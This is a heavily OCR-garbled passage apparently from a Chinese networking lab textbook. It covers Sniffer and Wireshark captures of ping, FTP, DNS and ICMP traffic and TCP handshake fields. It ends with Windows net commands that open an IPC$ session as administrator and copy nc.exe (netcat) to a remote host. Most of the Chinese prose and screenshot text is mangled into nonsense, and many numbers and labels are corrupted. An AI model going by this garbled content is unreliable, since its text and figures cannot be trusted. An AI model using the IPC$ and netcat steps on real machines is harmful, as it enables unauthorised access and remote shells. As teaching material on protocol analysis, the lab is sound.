Reply from 192 _168_.2_.2: bytes=32 timed<ims [TL=128

Ping statistics for 192_168B.2_2:

Packets: Sent 4, Received 1. Lost B {(Bx loss),
Approximate round trip times in milli-seconds:

Mininum Bms . Maximum = 4ms, Average ilms

C:“Documents and Settings“Administrator?

B 9-12 MERFSHFEEMEFEAILLZEZHES

ping 8§ 2 PAT5EE 5 R FER B RS Capture T 1Y Stop and Display(f5% 11 3F i 78) s B 5
AL & 9-13 i

_" Sniffer Portable - Local, Ethernet (Line speed at 10 Nbps)

File Wonitor EMNIINEE Display Tools Database ¥indew Help
| "| .Iﬂ Fause
St

| op FI10D E
Dﬁ| | | Step and l]iq"‘k:g Fo |PE;| I—".l @l '

Capture Fanel

Trigger Setup

E9-13 FLIMEHETER
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1E B EL B 24 Decode #E50 -, 7] LA B G /£ W & 1 BP0 22 18] iy 1% 136 i 72
miE 9-14 Fr7m.

Bile Wemiter Qoptues Displey Decls Betagess Qisdes Qalp

o ol ulru|08 & para . <]

] = L (K
= OwstAddess  JGumay JlenE[RsToe  [DekaTms  JibrTiee
[ ] I + I
m C = iy 00 2014-D3-16 = D5:13:19
[ ] i - i (00 : 2014-03-16 T 05:13:20
] 1 1| 00 0. 2014-03-16 T+ 05:13:20
[ ] g 00 1. 2014-03-16 T+ 05:13:21
[ ] " (00:062.004 O, 2014=03=18 TS 05:13:21
n 74 ;0003 004 0 2014-03-16 o 05;13:22
B (74 0.00.03.004' 0,00 _?!Il!—_!.l_;l:.“_‘!'.‘!‘_l!'e' 13 22
-
11
1P
1
e
LF
1
Ir
JEm .:
TCHE Tl.-r.'. w B [ Fehes
ICHF: Ciocs il
ICHF Checksun = 4450 (carreci )
TCHP: Tdemtifier = 813 1
ITHF GSeguepr= nawhes = 15§
ICHF |32 bytes ol datls
[CHE
ICHF | Noes] ssd of CHF madey® | !
1CHE i
0 E000000 c. 29 Bl @9 7 <7 52 % 25 U0 €0 45 00 Gy IR E
J0D0G0iE: an Jc A0 9 O0 OO & t ch af 03 A1 =0 =l i A
gooogo2e a2 o2
00000030
00000040
lm; L -Ilh tm;m. Hm‘ m

B 9-14 HiEaffEdRE

A Wireshark #1114 .
(1) fEMRE % | % 2% Wireshark: X0 & 9-15 A 7n BY wireshark-win32-1. 4. 9 3¢
. exe 2%, AP IEERINZE 2 WA 9-16 (18] 9-17 Froi.

+— wireshark_cn.zip — ¥inRAR
XFE &0 IRG WXk iﬂﬁ(ﬂ #RhaD

DN 4 @Q?m @nj

o WER B Il HERE o9

m g'll'll'llhl.l'k en. :np - IIP H@J’C’f‘-ﬁ IE '9[33 355 *ﬁ

&n O
B)..

wireshark-wind2-1 4 9B TTER exe 19903 BAS 19, 870 850 W

< |
E3=0 CE%1E 10,003,885 FP ( TP 2.t 19,903,885 FH T

B 9-15 Z=EIXH

(2) Ja 3 Wireshark: &35 HiE)a 3. TERPR M@ Emrp Mo Bk,
wnE 9-18 Frn. i B AL E I, an &l 9-19 Fras .
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Vireshark 1.4.9haochy (32-bat) Setup

Choose Install Location
Choose the folder in which to install Wireshark 1.4.9haochj (32-hit), i

Chooz= 5 dreciory in which to instal Wirsshark,

Destination Folder

C - WProoram Flles Wi eshark | [ Erowse...

Space requred: 35.2MB
Space avallable: 28.8GE

I-:ga:lt Mext > [Eﬂd]

B 9-16 EZFERRZMMEE

Vireshark 1.4, 9haoch)y (32-bat) Setup

installation Complete
Setup was completed successhully, i

Compieted

Output folder: C: \Program Flles \Wireshark
Extract: mergecap. exe

Extract: mergecap.hitmi

Qutput folder; C: Program Fles\Wireshark
Extract: capinfos.exe

Extract: capinfos.html

Qutput folder: C: 'Program Fies Wreshark
Extract: rawshark.exe

Extract: rawshark. himl

Output folder: C: Program Fies \Wireshark
Extract: user-gude.chm

Compieted -

|'®

B 9-17 ZEIiE

The Wirezhark Network Analyzer

UFE) WG Jtalml i) e #=HEQ IR@ #Fa
= Ctrl+l ||§|| aQeam g@mm

& ERi
B EEVaETERfF)

B 9-18 EFEMESH

(3) INALAME W . B a” Ry R ™, JATHe n] AR P A &1 1. eI
HIE T EE IR TS A EE L (b TCP) 8k J5 8o 4 1w a9 “ 0 7 3t vl DA B s 33 Y
TCP #yEE42 1, WK 9-20 Fios .,
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"\ Wireshark: {9k

me

E¥O FTie % ANMD PCHNET Family Ethernet Adapter "tﬂw:u‘:lﬂ’!_[IIEFMMB
TPl 192 186.2 1

] | Ethernet

ERAMELTIME

[] $MECAF- NGASRAMBE () i ~fern
[ ERfE—m QL) | bytes

(maEngc | a2
R 27iem

¥ o WA

] SRE T W
AT BEhEEh

ERINER8IHANE

ST
LT ERANCEFRIF )

[] feiF &R FEg ST )

SevF B SIS TR (D

E 9-19 M & iEHE

1‘Lnul‘utlh|: from ARD PFUNET Family Etherned Adaptex Ficeehark 1L
THQ REE WEo BEREG NEQ SWe &HE =Mg TR Mg —
NN N MAXZTE A e T4 BE Qe gES % =B

o tep * Wik =i EW
W Tina Tanrea Dentinmtisn Protecsl Infe -

prachal > http [FIN, ACE] Seg=410 Ack= 135 Wrn=£65338 Ler=0

552 1497601 192.165 2.2 192 168.2.1 e [ree Deconnect Request

553 124498690 192.168.2.1 192.168.2.2 ME Tree Decormect Response

E54 124 408538 192 168 2.2 32 168 2.1 VB ogoit dndx Reguest

555 124499228 192.168.2.1 192.168.2.2 SvVB Logoff AndX Response

556 124,499622 192.168.2.2 192.168.2.1 TP g > nethios-ssn [FIN, ACK ) Seqe 1046 Ack =011 Win= 16610 Len=0
S57 124500550 192.168.2.1 192.1882.2 TP netbosssn > migp [FIN, ACK] Seqe9i1 Adk= 1047 Wins 15475 Lensd
EE8 12 500739 192,168 2.2 182 168 2.1 TP migp > nethos-s=n [ACK ] Sag= 1017 Ack=912 W= 16610 Lary=0

¥ Frame 93 66 bytes on wre (528 bits), 665 bytes capturad (528 bas)
# Ethermnet |, Sroc 6leed e cd 0 492 (B0:ad4c0d:01:432), Dty Cleod_cf-S=00 (000031 caSE100)
i [rtemet Proboodl, Src: 222 .30.227.226 (222.30.227 226), Cstt 115.25.216.32 (115.25.216.32)

i Transmiszon Control Protocdl, Src Port: iss-session (4594), Dst Port; hip (80), Seq: 0, Lem 0

D) 0D 0c 21 cEB S 0060 A 9cod 0] 43 08 00 45 00 1 LG E
010 DD 33 faco QD05 ihfd=sjeeis2 72 19 4 @A @, ,
020 AR 20 11120080 7102 7 e 00 0000 00 &) O3 Pq

E) FffebcaOD0?0d 05 b4 0103 03 00 01 D1

ERTH Dafeult

[} ARD PCHET Pamily Etharnat Adaprer li=- 2NE ™4 BE5ER 15 RirpER 0O

E 9-20 B3 TCP HWEEE

BEA.
L. i H Sniffer U T L2 k2 WAL F 2 AT R AL B & s 6 I 0 .

2. 5 AR R B AE R i i AN ]
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SEUS . 38 H ping PR IP L5

1. X E/

(1) AR ping i, TIFATENR 1P SKASHIRY 0.5~ TP k&5, & 1P e a2 .

(2) 1 TP P sl AE 28 )22 19 i

2. KW ERH

2 P HLEEAVE 248 . Windows 2000 /Windows XP,IP #uhl A 192, 168. 2. 1,

it 55 #5124 E 2248 . Windows 2000 Advance Server / Windows XP,IP #b 4} jﬁj 192.168. 2. 2,

AL 84 Snifferd. 7.5/ Wireshark-win32-1. 4.9 1 .

SCEG IS AR A PG ML AR . Al LU R L0, 76 B UL B &3 ik 55 4 Windows 2000
Advance Server / Windows XP .t 7] L2 P WL AN AR 55 2 6] i) L2 R EHIVL T .

3. XRTRH

(D) 3 3h 35 B I8 Sniffer (B 85285 — Sniffer &) .

(2) FFaditd ., £ EVIF AR T izt CMD ar 2 . A DOS & H 7% 7 HL DOS ¢
M~ ping FEUPLAR 55 4 . W& 9-21 i,

C:\¥INDO¥S\systemn32\cad. exe

icrosoft Windows XP [RRZS 5.1.2600]
<G ﬁﬁ*ﬂwﬁ%g 1985-2801 Microsoft Corp.

:N\Documents and Settings“dministrator>ping 192.168.2.2
Pinging 192.168.2.2 with 32 bytes of data:

Reply From 192.168.2.2: bytes=32 time=4ms TTL=128
Reply from 192.168.2.2: bytes=32 time{ims TTL=128
eply from 192 _.168.2.2: bytes=32 time{ims TTL=128
Reply From 192 _168.2_.2: bytes=32 time{ims TTL=128

Ping statistice for 192.168.2.2:

Packets: Sent = 4, Received = 4, Lost = B8 <(Bx loss).
Approximate round trip times in milli-seconds:

Minimum = Bms,. Maxinum = 4ms,. Average = 1Ins

C:“\Documents and Settings“Administrator>

B 9-21 NENNEEMNLEHES

(3) fEE1EIF Bow . 78 H B B 1k £ Decode ¥E3 - . AT DL 2 B0 €0 76 99 5 3 5 HL
Z 8] A% 3L 7 L A1 9-22 PR .

Sniffer &% ping iy % &6 PR A TR B, FRATA] PAAS 2 1P sk 254, an &l 9-23 P
o 1P Sk Z5 R 1) BT A7 @ A AR AE 412 Sk v S 7 Hi ke s w1 DUR HA S B TCCRY 25048 i A1 R Ie 1 i %X
a4 — 3.
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# wpwed a1 1D Rbpz)

Bils Wemiter Qaptuzs Qonplar Qeels Detafess Qisdes [alp
o ol wliw08 X __J[E;:;_______:]
_I_l Qi_J QuloEsan £l ¢ &

6lz ﬂl-l-l]] 1& —F'-?i !]T !I.:I _'lg.

0 000
0.001

14 '153'1'1 0-00-00_ 001

3L.1 2.1 172 108 .2.2 | U:00:01.0023 1.001 436 2014-03-16 ¥ 05:13:20
: 160.2.2 [IH‘ 168 2‘ 1] ICHP: Echo i 74 Q:00:01.003 0.000 143 2014=03=16 T% 05:13:30
z 2.1 168.2.2 ICHF: E=he T D:00:DZ2.004 1.001. 187 2014-03-16 F¥ 05:17: 11
.! 168 2.1 (AP Ecl oL L O:00.02.004 0. 000 214 Z014-03-15 F5 05:13, 21
2.168.2.2 ICHP: Ech 74 0:00-03 004 0, 99% &40 2014-03-18 % 05:13.:22
¥2_1E8.2. 1] NP [ re=pl i | 0:00_D3.004 ©0.00D_1§9 2014-03-18 F3 0§ 13 22

-

.
L

Se 45 UB 00 o

onBEEEEEEBUERLEL h s

th_':ﬁmtmﬁmunu ) Swtmtics [

E9-22 HiEGEEITE

Version = 4, header lengt bytes H'ﬁﬁ'%‘
Tope of service - 00 [HBRT

’JH‘H fi/DAER - R KAk R - fe v
zhj

i
'.J.".

I
al 11
=11

il
ak
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Destination address « (192 168.22 | HirHht
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;
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BE R
Lo e MR sl iy IP Sk . A5 R i 55 2R A 55
2. UL Telnet AUECHE 12 - FF 1) 2200 M TP Sk 1S54

U5 — s FTP ey 29V TCP k&5 ky

1. L HA

(1) %48 FTP R&EaxmE @& kM FTP iyl .
(2) ALk R L TCP. 70t TCP #yk g5+ A1 TCP iy TAEREE, W %L TCP 1y =
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AR F7 A PIRIE T
2. XWAEERM
TP HLEEYE & 5. Windows 2000/ Windows XP, 1P Hudik & 192, 168. 2. 1,
55 2845 4E 245 . Windows 2000 Advance Server/ Windows XP,IP #ihl & 192. 168. 2. 2,
AL B Snifferd. 7.5,
S AR AW S LR . 1T LA R AL, A5 AL F %%k 55 4F Windows 2000
Advance Server/Windows XP, 1] DA% F HLAN AR 55 % [A] 15 22 26 B B AP T .

3. TRTEH

(1) BHoFERERFEEFTP RS WA 9-24 fin ., wEHEEIAG FTP ub 5 . 4 Tk B
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& 9-24 FTFF Internet fiz 55 & 12 8%

PR “FTP b 73k 301, Il 55519 TP Huhk Sk 192, 168. 2. 2, Fr LFE“ k1A FTP 357 J@ P X
TEHE Hofs TP Mok 2643k 192. 168, 2. 2. 1 [&l 9-26 fff 7 .

(2) FEEPHL &R 41 FTP iR . /2% P AL LS 3 Sniffer (Z 18 545 — Sniffer
E) SREAE DOS fp 2 F ] FTP 354 % 2 k 55 a5 1) FTP fllx %545 . an & 9-27 fr 7w .

MINTHOLT G FTP M 55 a5 SR 22 V5 5 A B H P 24 08 Tep, B2 fip, B X iy
FTP {f Y4 72 bye, 31k Sniffer, & FHIME FTP &% o £, E 9-28 P .
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Internet GEEES ﬁ .=E33ﬂ
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MEHESEX »
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& 9-25 F B FIP k%

BSUFPHS B
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IP Uk @ |
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R
M
cEREm | 100 000 (588
T ) o ®

~ BRESERE
EEEERA W
W3¢ ¥ REELIHER. -] Re®. |
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E 9-26 &£ IP #hk

v CzA\VINDOWS\system32\cad. exe

icrosoft Windows XP [RA 5.1.2680)
<¢> WRAYPAA 1985-20881 Microsoft Corp.

:\Documents and Settings“Administrator>ftp 192.168.2.2

onnected to 192.168.2.2.
220 adserver Microsoft FIP Service {(Uersion 5.82.

ser (192.168.2.2:<Cnoned): ftp

31 Anonymous access allowed. send identity <{e-mail name) as password.
'acsyowrd:
238 Anonymous user logged in.

:NDocuments and Settings“Administrator?

B 9-27 EERSEM FIP RS
(3) WA R Y TCP i = WEF MU RIEF S, EFSEmE 9-29~ K 9-31
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ACH=422407223¢ WIN=1752
220 sd=erver Microscit FTI
ACE=4224077207 WIN=1T4k
m t::;rm Ll
accass allo
!lg:l-lﬂlﬂﬂaﬁ'l VIiH=1719
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221
D=1032 S=21 FIN ACK=-20540153564 SEC=4224
b-11 5-18312 ACK-4224072398 WiIN-171%

L. e Ak [ & = | =y ] |

b i e e e
bt e bt s
SEEESESERSTSSITRE

[-T-2-T- . 01-T-0 . 0-X-J%1-F-7-]

coorsan o

SES8aznd=2as88

St ren bttt ving

Bk ke e

238558238382332

SEEELESCAEELTECET R
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ShEGERSRS
S ;
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Pest ination part - 2 IFTP=strl)

Imitis]l seguence number = 064015330

Moyt swpscisd Ssq suehsss 2064018331

Pata of fee=t = M byriss

Eeserved Eits I-nndlﬁhﬁuunrhlthm.ﬂmu in the Bex Tunp)
Flags =

E_ﬂﬁﬂﬂﬁﬂﬂﬁﬂﬁﬂﬂaﬂﬂﬂﬂﬂ

o wrgent point=r)
{lo ackpow]edgnent )
Mo push)

iMs emamt )

=W

(Mo FIN)

18364

64lh (corzect)

E 9-28 #HiE FIP &R 12

B 9-29 F—XiEF

B 9-30 FEXREF
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Source port = 1035
Destination part - 21 (FTP=ctrl)
Sequence nuanber = 30126583
Next expected Seq number= 30126983
Acknowledgment number = 244623437
Data of fsst = 20 bytes
Reserved Bits Reserved for Future Use (Not shown in the Hex Dump)
Flags = 10
0 = (Ho urgent pointer)
1 = Acknowledgment
0 = (No push)
I = [(No resest)
0 = (Ho SYN)
0 = (Ho FIN)
Vindow = 17520
Checlk=sum = 9188 (correct)
Urgent pointer =
Ho TCP cptions

B 9-31 F=XEF

Fr— AR T R P AL N ZE U ) HoAG 5 )2 TCP PpisU% HY 8 7 i #2104 & W %%
PRl TCP ] iz 55 2% I B2 AR i IR 55 A0 ot 01 &3k — N 0 SR 57 3 i 4R SCBE % i SC B v
SYN # & 1, [ A& — M WRTFI S o (RERFEE — AR B0 AR 1 0 T H B as . 8 S %
32 T2 B (E BRI R 0146 77 915 BRI A [ 7 3% 82 90 4R 7 0 5 N [RD

B AR RSB E S ERENIE ORI R R, RIE— TP EERFHBVIGT 5 v,
SYN # & 1. 6IAT BN o+ 1 M SCBAERNNZ ., BT 1 20 1 5B IR % 4 2 IE A ik
Bl PR CE NN B 3 R, — N EEIEKRKEH T —1F 5.

=R TF . B YIRS A5 0 0 & e SCBE fR L b A ) iR 55 R X BN S A v+ 1
4 SCE R TN . R P ALY TCP PR 2 A 2 dE e &7 . nl DLEA T2
fafl 1

:mﬁzu%?ﬁﬁm%%%%H%WEﬁﬁo

MUK F R 2 @ 9-32~ & 9-35 Fr s

Fr—KE T HE P UL N R ) K TCP )2 & & L& a4 W& 2 TCP
P2 18] iR 55 2% TCP thilJ2 & % —4> FIN #% & 1 /¢ iE 3 TCP #2 SCEx .

8 TRIEF . kS Ay TCP Wil 2 0 21 5¢ P 3% 332 19 4l SCBE R - 3 & H A BA 7 5
A EMEN Y i fm — A B AN 5 i 1 [R] s 4 O P A 3% 42 8 R0 L N T R L AR TR E R P L
a2k TR % . 2R ESEIAG IR 55 4% W0 SR A 8o 22 k3% W 2 P HLATS K AT LA 4k 4k
PEBCHE L TR I 3 S ROIR 45 1y 2 56 P (Half-close ) R 2 L [ R R 55 S84 8K AT L) & 36 5082 . 9F B
AP BN & P HLE B IA . R 2F PO C Io8dE & I ik 55 4% 1 .

B = WRIE T R RSS AN R B R AR AR P O R T L B A H TCP
WZ KA EH:, Xk &0 TCP U2 M & P HLE TCP B2 &% —4> FIN & 1 194k
SCB  BOR G i 2 .
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s TCP Source port 21l (FTP-—ctrl)
3 TCP- Destination port 1035
2 TCF:. Sequence number = 244623595
) TCF: HNext expected Seq number= 24462359
§ TCP:. Acknowledgment number = 30127006

B TCF Data offsat = 20 bytes
B TCP X Reserved Bits. Reserved for Future Us= (Not shown in the Hex Dump)
) TCP Flags = 11
. TCP 0 = (No urgent pointer)
. TCP 1 = Acknowledaom=nt
N TCP 0 = {No push)
N TCP 0 = (No resst)
N TCF D. = (No SYN)
N TCP 1 = FIN
N TCF Vindow = 17497
i TCPF X Checksunm = 911C (correct)
a3 TCPF. Urgent pointer =0
3 TCP No TCP optioms
8 TCP

B 9-32 F—REF

ICE; TCP header ————

By Tce

4 TCP Source port = 1035

i TCP Destination port = 21 (FTP-ctrl)

3 TCP Sequence nunber = 30127006

B4 TCP Next expected Seq number= 30127006

9 TCP  Acknowledgment nunber = 244623596

B8 TCP. Data of fsat « 20 bytes

iy TCP: Reserved Bits: Reserved for Future Use (Not shown in the Hex Dunmp)
W8 TCP: Flags = 10

3 TCP 0 = (Ne urgent pointer)
s TCP 1 = Acknowvledgnent

2d TCP 0 = (Neo push)

£y TCP 0 = (No reset)

8 TCP 0 = (No SYN)

-y TCP 0 = (No FIN)

e TCP: Waindow = 17362

4 TCP: Checksum = 31A3 (correct)

4 TCP: Urgent pointer =

4 TCP. Ho TCP options

A TrP

B 9-33 F_REF

1 A
ITCP: TCP header —————

g TCP

§ TCPF Source port = 1035

3 TCP Destination port = 21 (FTP-ctrl)

£ TCP  Sequence number = 301270086

4 TCP  Next expected Seq number= 30127007

By TCP: Acknowledgment number = 244623596

83 TCP: Data offset = 20 bytes

£4 TCP: Reserved Bits: Reserved for Future Use (Not shown in the Hex Dump)
i3 TCP* Flag= = 11

s TCP 0 = (No urgent pointer)
B3 TCP 1 = Acknowledgmnent
B4 TCP 0 = (HNo push)
s TCP 0 = (No ressat)
B TCP 0 = (No SYN)
Y TCP 1 = FIN
4 TCF:. Window = 17362
TCP Checksun = 9142 (correct)
TCP Urgent pointer =0
TCPF Ho TCP options
TCP

B 9-34 F=R¥EF
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B 9-35 SFMKXIFEF

U RAE T [FAE B P PR 5 A & B ) fie SCBCTR - 1) il 5% &% &2 25 — 1A B A TP
7o C W BB R e A 1, R S5 AR R B A B I B 58 4 G

BB

1. U ETP (5t 2 . 35381 TCP 13k 4549 B TCP iy = W48 F 7 fn - 19k 4% 7
1) 2

2. HSr FTP W5 #% .36 B 8 3 H 5%, 9F FAGHATT 8030/

WY WL UDP Ppistn =k 454

1. XWHM

FI A DNS §UHC UDP #380 f) k 4514 . Fb A8 UDP F TCP By A ] £

2. LW ERH

B HLERE 24 . Windows 2000 /Windows XP,IP #uhk f 192. 168. 2. 1,

%% 25184E 245 . Windows 2000 Advance Server / Windows XP.IP #ihl & 192, 168. 2. 2,

AL 84 Sniffer 4. 7.5,

SCEG AT AR AP S LA AT LAGE R AL . 7R B UL T % 8 Ik 55 8% Windows 2000
Advance Server /Windows XP, 0 A] DLHE & F ML HIAR 55 2 0] i) 22 3¢ B B UL T .

3. XBWTR

(1) BN P HLEE DNS ik 55 ik, F AR % P HLAEY DNS i 55 #hk 3% 24 192. 168. 2. 2
EP%E F AILAY DNS ik 55 #hk 45 1] iz 55 4% - an &l 9-36 Firos .

(2) #RJ5 )5 3l Sniffer (Z B S2EG— Sniffer $#52&) . & HV5[a) DNS Gl LI E| UDP %4
fz o B AAE 3G s 05 7 EPLEY DOS S T 4 A4 4 nslookup, A& 9-37 Frn ., a0 #
Yo — AN s Al L, BN DNS, B AT LLE] UDP g4k .

(3) A F Sniffer HIUHLAYEHE AL, o] LA 2] UDP 23k, an &l 9-38 frn.
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Internet Wl (TCP/IP) Kt I".E
i

BRPTILURL TR O

BExEE 17 it @)
SR TES I B S

Ir Hutlk @) {82 188 , 2 |
+ R ) 255 255 .255 . O

BUFX @)

) SR THEeY ik BEBHY E
[ 1. ILS IF%8 @) 192 188 . 2 2

&F 1= FE8

B 9-36 iZE DNS i £

Microsoft Windows KP [R5 5.1.26881]
{C) HETPEF[ﬁ 1985-2A81 H1rr~|:| oft Corp.

isllocuments and Settings“Administratorins lookup
DHS reguest timed out.
timeout was 2 seconds.
s Can’'t Find server name for address 192.168.2.2: Timed out
wud Default servers are not available
Default Server: UnKnowun

ddres=s: 192.168.2.2

i NDocuments and Settings“Administrator?g

E 9-37 {EF UDP thil EEITEN

A snafl: Decode, 1/3 linknown Frames

Iu_m__m Abs. Tere

[192.168 2.1 2 ID=1 d.3 i 0:00:00,000 0.000.000 ¥
(192,168 2.2] (192 168.2 1] R 1D=1 OP=QUERY 0,00:17,.761 17.761.834| 201
-]13 [132 .168.2.1] [192.163.2.2] HY Lestination unrsachsa |'. 1 mreachaf 112 0:00:17.762! 0.000.635 201
LETT
1 = i lon ! I
,.
_ 4 DNS —— Internet Domain Name Service header ——

L) Dis
LJONS ID = 1
LI DNS Flags =« 01
L3DNS: 0 Command
DNS. 000 O = Query
_§ [NS 0 Hot truncated
L3 DNS | Recursion desired
L) DNS: Flags = OX

-._]I'Hf 0 = NHon Verified data ROT acceptable
NS . Question count = ]
L3 DNS: Ansver count = 0
L3 DNS: buthority count = (]
SI'HZ additions]l record count = 0
DHS
3 D= J0ONE Ssctiomn t&
JL'H:' Hame = 2 2 168 192 in-addr arpa
J[ll}?:. Type Domaisn name pointsr (FTE.12)
3L'H:’- Class = Jnternet (IN.1

;_; NS

E 9-38 152 UDP ¥ #E#H
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AR &% A

L i HAR

A DL H UDP #ySk g #) e 2 ) 58, UDP 24 a0 2 JF & 3 Bola it ik %5 . E k% UDP
TC i A5 3E AT A0 B HE HE 4% 536 A1 UG3E . UDP 1 TCP 4% 3 Bods iy e st 26 9-1 fr s .

%= 9-1

UDP #0 TCP Yy {&i% BB nY btk &

UDP i

TCP i

BRI S s £ FEPLZE A B 208

T o) 3% B 19 Ml 555 A8 FALZ IR] B S 25 0l

UDP A~ i 1 £ 50K DA R0 A% 3 58 51 AL 20805

TCP 1 L 8 DA A0 0Py 1% 33 B8 > 0 O 28048 19
% i%

{1 UDP 9 - 0 53 e 3 1% S 28030 T o 19 o ¢ 1

il H] TCP 182 )y 5 8 O n] 52 (19 20l %

UDP B JF 8 2R K . FF 32 5 03 M — 5% 2
5 11 38 15

TCP L8128 H may FF a5 2R . B 2 525 5 %
sl R

UDP #1 TCP #8di Fl ¥m H 45 R 54> TCP/IP £y (19 18 {7

BEA .

1. s34 UDP Ppisl ity 354, i vm 3 . H oo H 5,

2. e UDP 3 30F1 TCP i,

U F PRI ICMP k&5 k)

1. SLWHB

Hfir 4 ping HEAN M b Al 5 90 ICMP Sk 2544 .

2. LWHERGE

%P HLERE RS
i 55 st fE R 5e
AL 54 Snifferd. 7.5,

SEUG I Gn SR W S LA, AT LA T R 4
ik 55 #% Windows 2000
Advance Server /Windows XP, 1 n] L) {2 &% /

B, 76 B UL T & 3

PLA AR 55 # ] ) 22 25 B R fUPL T
3. TSR

(1) & EHLAY 1P Hhk i &~ A 33k

HC, an&l 9-39 Firow .

Windows 2000 /Windows XP.,IP #ihl & 192. 168. 2. 1,
Windows 2000 Advance Server / Windows XP.IP #i}ik & 192. 168. 2. 2,

Internet W (TCP/1P) Ef)

SRES

e P R LR

@ EERE 1 B Q)
O SETEN I ik ©)

IP 193 &,

(2) R )5 )8 3l Sniffer. 377 Define Filter X
IEHE  Address 2E£30 < 1 Y Station 1 f1 Station
2 iy IP HihbEe o8 Any, e S9N ZE AL, IPCH AL 2 B 2 B0 K —) L W& 9-40 A7 .

(3) Ja s R It )5 . A1 7E DOS Bt F ping — 4~ 32 i W o 20 A B2 iR 55

2 i R Ay E A E 9-41 Fraw .

E 9-39 {EEH IP Hbit

FAl=

(4) 15 1k 3F B 7E Sniffer MRS ICMP B3k 454 . & 9-42 fFw .
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Define Filter — Capture

E{!drl 4 1

Mode

Anvy

il i i

* Include

Exelude

1

bl

Station 1

Sunnary Address |Dats Pattern | Advanced | Buffer
Enown Addreszs (Dragable)

) Any
+ .; Broadcast/Malticast Address
Q‘;‘ Mdress Book

Settings For

% |

Station 2

U s (s = e

TEIEIEIE IR L

U s o m

3

& 9-40

i BIE R FE B F0 b 1t

Microsoft Windows XP (K2
<C> FRMEAE 1985-2001 Microsoft Corp.

- - \Dl)t‘.ll"ﬂ‘l’bl =

t

Ping statistics
Packets:

W . A,

timed
timed
t imed
timed

0

and Settings " Administrator?ping wiwi.baidu.con

our .
our .
out .
out .

sent

shifen.con

= 4, Received

[119.75.218.77) with 32 bytes of data:

for 117.75.218.77:

= H. Lost = 4 (1898 loss),

C:\Documents and Settings“Administratord

Livcal, Ethermet (Lane

miffer Foartahle

& 9-41

e A,
~

1T ping P

Bile Pemiter Coptwre [isplor Tesls Databese Yondow [Halp

R P e —

1/61 mknwwn Frames

su 8 | onloieman 2 ¢ 3

1 = = 0. E e 3l
F 4 Far 1 CHE Erch a Z014=03=1 7
1 191.160.0.3] | ICHF: Ech 0.4 2014-03-1% 18
i 222.30.227 1] :1'32‘ LEE @O TCHE Ech [ Li o ] 2014-03-18& 20 28
& 192_168.0_13] [222_30.227_1] |ICEF: Eche 7d 0:00:01 991 1.001. 746 2014-03=-18 02029
& 222.30 227 1) 192 168 0.3 1CKE Erk - 74 0o-00:01 993 O DOY 777 2014-03-16 03:20:29
T 192 _1EB_0_ 1) 22 30.227.1) | ICHE Er by T4 D:-0D:02.9% 1 DO1 SBT 2014-03-18 0324 3
-] 1222 30_ 227 1) [1%2 168.0.3 ICHE: Eeh =T 7d 0:00:92.996| 0.001 738 2014-03-1% 03:20: 3
9 192.168.0.3) 42 30.23%.1 CEF: Eche 74 0:00:03.998) 1,002 221 2014=03~-1% 03:20; 31
1110 222 _10-277.1] ([192 151 .0 73] ICEF: Ech= r=g Ta O-00-04 0CO| 0.DO1 B23 2014-03-18 03:20: 11
11 192.168.0.3] &fd 3f. 8¢ 1] |ICHP: Ech L 0:-00:04.967| 0. 986 530 Zi14-03-1e 0320 32
12 222.30 217 1] 192 160 0 3) CHFE- Ech = 74 0 0O0 04 969 O 001 B26 2014-03-16 03 20: 32
11 192_168.0.13] I-:::! 30 227 CHF: Echs 74 000 D5_.9%0| 1 DOl &76 2014-03=18& 03:290: 3]
id ddd 0. 227 1] [i%2 16§ 0.3) ICHF: Ech anl 7d 0:00.06.9%2 0.001 809 i01d=-03-18 03:20: 33
L 192 1R A 20 222 AR 227 11 | TCEP: Frko T4 n-nn-ng 9%3 | NNt 18R N1d4-N3-18 [ | T -
| {ragmer *
-"I g
ITess |
i RE
TCHF !- =hmnm = E4] T
ICHF Idenisfims = 1024
LCHE s isnos Hunlssg Al
TCHF hytes data]
ICH?
F Harsal snd of “ICHP bLesder'
-

BEW .
1. 0¥r ICMP 254z .35 H Type=

& 9-42

ETRHEESNEEEE

8 5 Code=0 fl Type=0 5 Code=0 HJIX 3,

2. 8 Ping .DNS.FTP 43 3 A4 i 2
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SEUSSS net )T A

1. LI HEY

PAN A=

net iy 2 £ M4 P EE I — L, DaE Y 2R E R —
BEAR 53 K » B 22 Tl 0 A FRATT H 3t A9 e - 1) A T H
2. SLEATERG

T 4 1 E )

% P HLEEE £ 48 . Windows 2000 /Windows XP.IP #ihl & 192. 168. 1. 1.
H[ﬁ%{z,"%? YE & 45 . Windows 2000 Advance Server /Windows XP,IP #ihl & 192. 168. 1. 2,
SCES L AR AP E Pl es. o LU FH IV, 76 B WL T 225 Ik % 28 Windows 2000
Ad\-'z-lncc Server /Windows XP, i a] LIS F AILAN ik 55 4 [R] i) &2 35 2 AL T
3. XRFTREH
1) net view g2 & FH 2 FHL AL E T
(1) P HUFIR 55 &30 TP duhik 4o b5 & .

(2) ZEZ FPHL B DOS B0 F & A net view \\192. 168. 1. 2, & 9-43 fimx. & & IR
5 tov 1 AL 220 A0 Sk

=7 C:\WIRDO¥S\system32\cad. exe

icrosoft Windows RP ["1{’ x> 5.1.26881
<G H'F'TFF'FTE] 1985-2001 f"|1c1 osoft Corp.

:\Documents and [:hattingsmdministl‘atnr}nﬂt view S\\192.168.1.2
£ \\192.168.1.2 AIHEEFE

alimei Disk

:\Documents and Settings“\Administrator>

E 9-43 net view B L EZF R

2) net use #UCFE 3 ML A A I 2T 5 ML O A b B A
TEZ P HL Y DOS ﬁﬁ—Ffm 2 net use z: \\192. 168. 1. 2\'malimei. 40 & 9-44 Ff

s fE 192,168, 1. 2 Ty dk E@ﬁmmmumﬁi%%ﬁ$imzﬁF%TZMWGJ
3) S EHLE (G
i 2 1%~ net use \\IP\IPL % password /user: name
(D AEFPHLER DOS i F i A net use \\192. 168. 1. 2\IPC $
nE 9-45 Frws . #5192, 168, 1. 2 B (ST & 4. S k25

ST IPCS #H:E sEvT DL AL ST,
(2) ®i A copy nc. exe \\192. 168. 1. 2\ipc $ . W& 9-46 fr7s . RnfEAH H 58 T 09 ne. exe

/user: administrator.,

. P 4 & administrator, %
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*N\Documents and Settings\Administrator’net use z: “\\192.168.1.2malimei
AR AT 7T ke

Zssodire _ B
Waheg z MRFREITE.
Y55 B4SF-6669

Z2016-81-28
2016-81-28 e
2014-81-21 5.586.298 kerio-wrs-5.8.8-rc4-win.exe
2014-82-11 08,368 GetNIUser.exe
2014-82-18 5,339,988 xs.rtf
2014-82-11 78 dict.txt
4 NEF 10,984,716 =1

9-44 net use = FIE MR 5 4 Kb 2 FF

